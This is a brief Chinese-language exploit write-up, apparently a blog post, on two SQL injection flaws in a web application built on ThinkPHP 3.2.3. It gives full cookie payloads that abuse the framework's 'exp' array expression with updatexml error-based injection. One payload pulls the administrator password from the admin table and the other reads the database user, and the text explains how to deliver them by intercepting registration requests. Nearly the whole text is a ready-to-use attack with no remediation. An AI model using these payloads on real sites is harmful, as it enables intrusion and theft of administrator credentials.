这个漏洞是基于thinkphp3.2.3开发引起的。
漏洞一
由于oauth_reg方法中调用了login来验证当前会员是否登陆,所以咱们需要注册一个会员帐户再利用该漏洞,这里玩注册用户名和密码均为test123的帐户,然后构造如下cookie:
members_bind_info[keyid][0]=exp; members_bind_info[keyid][1]==1 or updatexml(0,concat(0xa,(SELECT password FROM xx_admin limit 1)),0)%23 members_bind_info[type]=qq;
前面已经分析过了exp表达式的特性是数组第一个元素为exp,这样后面就可以带任意sql语句来达到数据查询的目的。
post数据包带上注册的账号与密码
漏洞二
这里无需注册任何用户,直接访问注册页面:
index.php?m=&c=members&a=register&utype=2
填写好相关信息后点击注册开始抓包,然后一步一步的Forward放行数据包直到出现极验的验证窗口,验证完毕后再次抓包:
构造如下cookie:
members_bind_info[type]=qq; members_bind_info[keyid][0]=exp; members_bind_info[keyid][1]=1 or updatexml(1,concat(0x5e5e5e,user()),0)
添加到现有的cookie后面就ok,再将post数据包中添加"org=bind"这样一个参数与值,然后发包可以看到注入成功:
评论 (0)